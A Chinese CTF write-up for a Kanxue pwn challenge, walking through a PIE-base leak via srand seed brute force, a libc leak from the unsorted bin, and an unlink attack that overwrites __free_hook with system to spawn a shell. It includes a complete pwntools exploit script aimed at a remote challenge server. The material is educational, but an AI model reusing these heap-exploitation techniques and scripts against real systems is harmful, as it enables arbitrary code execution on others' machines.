前几天做了看雪ctf的一道pwn题,但是工作比较忙,一直没时间写wp,今天有空了,把wp补上
据说这题出题人出题失误,导致题目难度大大下降,预期是house_of_orange的,但是利用unlink就能做了
获取ELF基地址 程序中有一个猜随机数的功能,代码大致逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 *seed = &seed; srand(&seed); ...... v1 = rand(); puts("Please input the number you guess:"); printf("> "); if ( v1 == sub_AFA() ) result = printf("G00dj0b!You get a secret: %ld!\n", *&seed); else result = printf("Wr0ng answer!The number is %d!\n", v1); return result; .bss:0000000000202148 seed
使用seed变量的地址作为伪随机数生成器的种子, 因为这个程序开启了PIE保护,所以实际上每次程序运行,种子都是不一样的, 然后随机生成一个数让你猜,猜对了告诉你种子,猜错了告诉你这个随机数
如果我们能得到种子,因为ELF基地址和seed地址的偏移值是固定的,所以我们就能算出ELF的基地址了
然后去翻阅了下random的源码:https://code.woboq.org/userspace/glibc/stdlib/random.c.html
1 2 3 4 5 6 7 8 9 207 void __srandom (unsigned int x) 209 { 210 __libc_lock_lock (lock); 211 (void) __srandom_r (x, &unsafe_state); 212 __libc_lock_unlock (lock); 213 } 214 215 weak_alias (__srandom, srandom) 216 weak_alias (__srandom, srand)
发现,__srandom
的参数是无符号整型,长度只有32bit
虽然开了PIE,但ELF的基地址因为系统页对其的原因,最后12bit固定是0,所以,我们只需要爆破20bit,这是非常容易的,下面是部分payload代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def get_rand_num(): guess_num(123) r.readuntil("is ") random_num = int(r.readuntil("!")[:-1]) return random_num def get_elf_base(random_num): guess_num(random_num) r.readuntil("secret:") elf_base = int(r.readuntil("!")[:-1]) return elf_base-seed_address def guest(random_num): seed_base = 0x202148 libc = cdll.LoadLibrary("libc.so.6") for x in xrange(0x10000000, 0xfffff000, 0x1000): libc.srand(x+seed_base) if libc.rand() == random_num: next_randnum = libc.rand() break return next_randnum def main(): random_num = get_rand_num() next_randnum = guest(random_num) elf_base = get_elf_base(next_randnum) print "get ELF base address: 0x%x"%elf_base
因为python的random和c的是不一样的,所以这里使用ctypes去调用libc中的random
ELF中的漏洞 最关键的一个就是有一个bool标志位,默认值是0,表示该box没有malloc,当malloc后标志位会设置为1,但是当free后,却没有把标志位清零,这就导致可以无限free,一个被free的box,也可以修改和输出box的内容
另一个关键的漏洞是修改box内容的函数中存在off by one
1 2 3 4 5 6 7 for ( i = 0; dword_202090[v3] >= i; ++i ) { read(0, &buf, 1uLL); if ( buf == 10 ) break; *(i + qword_202100[v3]) = buf; }
如果长度有24的box,却可以输入25个字符
还有一个也算漏洞的是再show message函数中,输出使用了puts,输出是根据\x00
判断结尾,而不是长度,而在修改message的函数中也没有在用户输入的数据结尾加\x00
,所以有可能导致信息泄露,不过这个漏洞对我来说不重要,我的利用方法中,不包含其信息泄露的利用
获取LIBC基地址 泄露LIBC地址的思路很简单,上面说了当一个box被free后因为标志位没有被清零,所以任然可以往里面写数据,输出数据。
如果我们free一个非fast chunk的chunk,也就是说free一个chunk size大于maxfastsize的chunk,将会和unsortbin形成双链表,这个时候的结构如下:
prev size
chunk size
fd
bk
这个时候fd和bk都指向arena中的top_chunk指针,我们能通过输出该box获取到该地址,然后根据偏移值计算出libc的基地址,部分代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def get_libc_base(): free_box(3) show_message(3) data = r.readuntil("You")[:-3].strip() top = u64(data+"\x00\x00") return top - top_chunk def main(): .... create_box(1, 24) create_box(2, 168) create_box(3, 184) create_box(4, 200) libc_base = get_libc_base() print "get libc base address: 0x%x"%libc_base
free的那个box不能是最后一个chunk,否则会和top chunk合并
unlink利用 网上很多unlink的文章,我就不细说了,简单的来说就是要过一个判断,执行一个指令
需要过一个判断:
1 2 P->fd->bk == P P->bk->fd == P
执行一个指令
1 2 3 4 FD = P->fd BK = P->bk FD->bk = BK BK->fd = FD
当利用之前的代码,泄露完libc地址后,堆布局是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 0x555555757410: 0x0000000000000000 0x0000000000000021 <- box1 0x555555757420: 0x0000000000000000 0x0000000000000000 0x555555757430: 0x0000000000000000 0x00000000000000b1 <- box2 0x555555757440: 0x0000000000000000 0x0000000000000000 0x555555757450: 0x0000000000000000 0x0000000000000000 0x555555757460: 0x0000000000000000 0x0000000000000000 0x555555757470: 0x0000000000000000 0x0000000000000000 0x555555757480: 0x0000000000000000 0x0000000000000000 0x555555757490: 0x0000000000000000 0x0000000000000000 0x5555557574a0: 0x0000000000000000 0x0000000000000000 0x5555557574b0: 0x0000000000000000 0x0000000000000000 0x5555557574c0: 0x0000000000000000 0x0000000000000000 0x5555557574d0: 0x0000000000000000 0x0000000000000000 0x5555557574e0: 0x0000000000000000 0x00000000000000c1 <- box3 0x5555557574f0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x555555757500: 0x0000000000000000 0x0000000000000000 0x555555757510: 0x0000000000000000 0x0000000000000000 0x555555757520: 0x0000000000000000 0x0000000000000000 0x555555757530: 0x0000000000000000 0x0000000000000000 0x555555757540: 0x0000000000000000 0x0000000000000000 0x555555757550: 0x0000000000000000 0x0000000000000000 0x555555757560: 0x0000000000000000 0x0000000000000000 0x555555757570: 0x0000000000000000 0x0000000000000000 0x555555757580: 0x0000000000000000 0x0000000000000000 0x555555757590: 0x0000000000000000 0x0000000000000000 0x5555557575a0: 0x00000000000000c0 0x00000000000000d0 <- box4 0x5555557575b0: 0x0000000000000000 0x0000000000000000 0x5555557575c0: 0x0000000000000000 0x0000000000000000
然后在.bss段有个地方储存着box的地址:
1 2 3 4 pwndbg> x/6gx 0x202100+0x555555554000 0x555555756100: 0x0000000000000000 0x0000555555757420 0x555555756110: 0x0000555555757440 0x5555557574f0 0x555555756120: 0x00005555557575b0 0x0000000000000000
因为在free box函数的代码中,有一个判断:
1 2 if ( !dword_202130[v1] || dword_2020B0[v1] ) return puts("You can not destroy the box!");
而dword_2020B0是已经初始化过,然后没有代码修改过的变量
1 .data:00000000002020B0 dword_2020B0 dd 2 dup(1), 2 dup(0), 2 dup(1)
扩展开了就是[1, 1, 0, 0, 1, 1]
所以只有2, 3两个box能被free
在之前已经free过了box3,如果再次free box3,无法触发unlink操作,unlink操作只有在前一个或者后一个chunk未被使用时才会触发,所以我们需要通过free box2来进行触发unlink操作
通过leave message函数来构造一个堆结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 pwndbg> x/64gx 0x555555757410 0x555555757410: 0x0000000000000000 0x0000000000000021 0x555555757420: 0x0000000000000000 0x0000000000000000 0x555555757430: 0x0000000000000000 0x00000000000000c1 修改长度为0xc1 0x555555757440: 0x0000000000000000 0x0000000000000000 0x555555757450: 0x0000000000000000 0x0000000000000000 0x555555757460: 0x0000000000000000 0x0000000000000000 0x555555757470: 0x0000000000000000 0x0000000000000000 0x555555757480: 0x0000000000000000 0x0000000000000000 0x555555757490: 0x0000000000000000 0x0000000000000000 0x5555557574a0: 0x0000000000000000 0x0000000000000000 0x5555557574b0: 0x0000000000000000 0x0000000000000000 0x5555557574c0: 0x0000000000000000 0x0000000000000000 0x5555557574d0: 0x0000000000000000 0x0000000000000000 0x5555557574e0: 0x0000000000000000 0x00000000000000c1 0x5555557574f0: 0x00007ffff7dd1b78 0x00000000000000b1 构造成一个新的堆,长度为0xb1 0x555555757500: 0x0000555555756100 0x0000555555756108 构造fd和bk 0x555555757510: 0x0000000000000000 0x0000000000000000 0x555555757520: 0x0000000000000000 0x0000000000000000 0x555555757530: 0x0000000000000000 0x0000000000000000 0x555555757540: 0x0000000000000000 0x0000000000000000 0x555555757550: 0x0000000000000000 0x0000000000000000 0x555555757560: 0x0000000000000000 0x0000000000000000 0x555555757570: 0x0000000000000000 0x0000000000000000 0x555555757580: 0x0000000000000000 0x0000000000000000 0x555555757590: 0x0000000000000000 0x0000000000000000 0x5555557575a0: 0x00000000000000b0 0x00000000000000d0 修改prev_size为0xb0 0x5555557575b0: 0x0000000000000000 0x0000000000000000 0x5555557575c0: 0x0000000000000000 0x0000000000000000 0x5555557575d0: 0x0000000000000000 0x0000000000000000 0x5555557575e0: 0x0000000000000000 0x0000000000000000 0x5555557575f0: 0x0000000000000000 0x0000000000000000 0x555555757600: 0x0000000000000000 0x0000000000000000
构造了一个fd和bk指向存储box 地址的.bss段,这样就能构成一个双链表,bypass unlink的check:
1 2 P->fd->bk == P P->bk->fd == P
不过这个时候如果free box2,会报错退出,报错的内容是 free(): corrupted unsorted chunks
去源码中搜一下该error的check:
1 2 3 4 4248 bck = unsorted_chunks(av); 4249 fwd = bck->fd; 4250 if (__glibc_unlikely (fwd->bk != bck)) 4251 malloc_printerr ("free(): corrupted unsorted chunks")
bck指向unsortbin,所以fwd指向box3,然而box3的bk已经被构造成了新chunk的size位,所以报错退出了
这个时候只需要在free box2之前,malloc一个box5,这样将会把unsortbin中的box3分类到smallbin中,从而bypass unsortbin check
利用 在free box2之后,内存大致如下:
1 2 3 4 pwndbg> x/6gx 0x202100+0x555555554000 0x555555756100: 0x0000000000000000 0x0000555555757420 0x555555756110: 0x0000555555757440 0x0000555555756100 0x555555756120: 0x00005555557575b0 0x0000555555757680
box3的地址已经指向该bss段,从而我们已经可以做到任意地址写了
我的利用思路是,把box 2修改为free_hook的地址,然后把box 0修改为/bin/sh\0
正好8byte,这样box 3就是一个/bin/sh
字符串了
我们只需要在free_hook中写上system的地址,调用free(box 3),则相当于调用system(“/bin/sh\0”),从而达到getshell
完整payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 from pwn import *from ctypes import cdllDEBUG = 1 if DEBUG: context.log_level = "debug" r = process("./club" ) e = ELF("/lib/x86_64-linux-gnu/libc.so.6" ) else : r = remote("123.206.22.95" , 8888 ) e = ELF("./libc.so.6" ) malloc_hook = e.symbols['__malloc_hook' ] free_hook = e.symbols['__free_hook' ] system_address = e.symbols['system' ] top_chunk = malloc_hook + 0x68 seed_address = 0x202148 addr_list = 0x202100 one_gadget = 0xf0274 puts_got = 0x202028 def create_box (n, l ): r.readuntil(">" ) r.sendline("1" ) r.readuntil(">" ) r.sendline(str (n)) r.readuntil(">" ) r.sendline(str (l)) def free_box (n ): r.readuntil(">" ) r.sendline("2" ) r.readuntil(">" ) r.sendline(str (n)) def leave_message (n, msg ): r.readuntil(">" ) r.sendline("3" ) r.readuntil(">" ) r.sendline(str (n)) r.sendline(msg) def show_message (n ): r.readuntil(">" ) r.sendline("4" ) r.readuntil(">" ) r.sendline(str (n)) def guess_num (n ): r.readuntil(">" ) r.sendline("5" ) r.readuntil(">" ) r.sendline(str (n)) def get_rand_num (): guess_num(123 ) r.readuntil("is " ) random_num = int (r.readuntil("!" )[:-1 ]) return random_num def guest (random_num ): seed_base = 0x202148 libc = cdll.LoadLibrary("libc.so.6" ) for x in xrange(0x10000000 , 0xfffff000 , 0x1000 ): libc.srand(x+seed_base) if libc.rand() == random_num: next_randnum = libc.rand() break return next_randnum def get_elf_base (random_num ): guess_num(random_num) r.readuntil("secret:" ) elf_base = int (r.readuntil("!" )[:-1 ]) return elf_base-seed_address def get_libc_base (): free_box(3 ) show_message(3 ) data = r.readuntil("You" )[:-3 ].strip() top = u64(data+"\x00\x00" ) return top - top_chunk def main (): random_num = get_rand_num() next_randnum = guest(random_num) elf_base = get_elf_base(next_randnum) print "get ELF base address: 0x%x" %elf_base create_box(1 , 24 ) create_box(2 , 168 ) create_box(3 , 184 ) create_box(4 , 200 ) libc_base = get_libc_base() create_box(5 , 300 ) print "get libc base address: 0x%x" %libc_base set_list2_size = p64(0xc1 )*3 + "\xc1" leave_message(1 , set_list2_size) set_list3 = p64(0 ) + p64(0xb1 ) + p64(elf_base+addr_list) + p64(elf_base+addr_list+8 ) set_list3 += "a" *0x90 +p64(0xb0 ) leave_message(3 , set_list3) free_box(2 ) write_address_list = "/bin/sh\x00" + "a" *8 + p64(libc_base+free_hook) leave_message(3 , write_address_list) leave_message(2 , p64(libc_base+system_address)) free_box(3 ) r.interactive() if __name__ == '__main__' : main()
总结 unlink原理很早我就知道了,但是却是第一次实践,理论和实际还是差很大的,所以我踩了挺多的坑,花了挺多的时间
我还考虑过fastbin的double free的利用,但是失败了……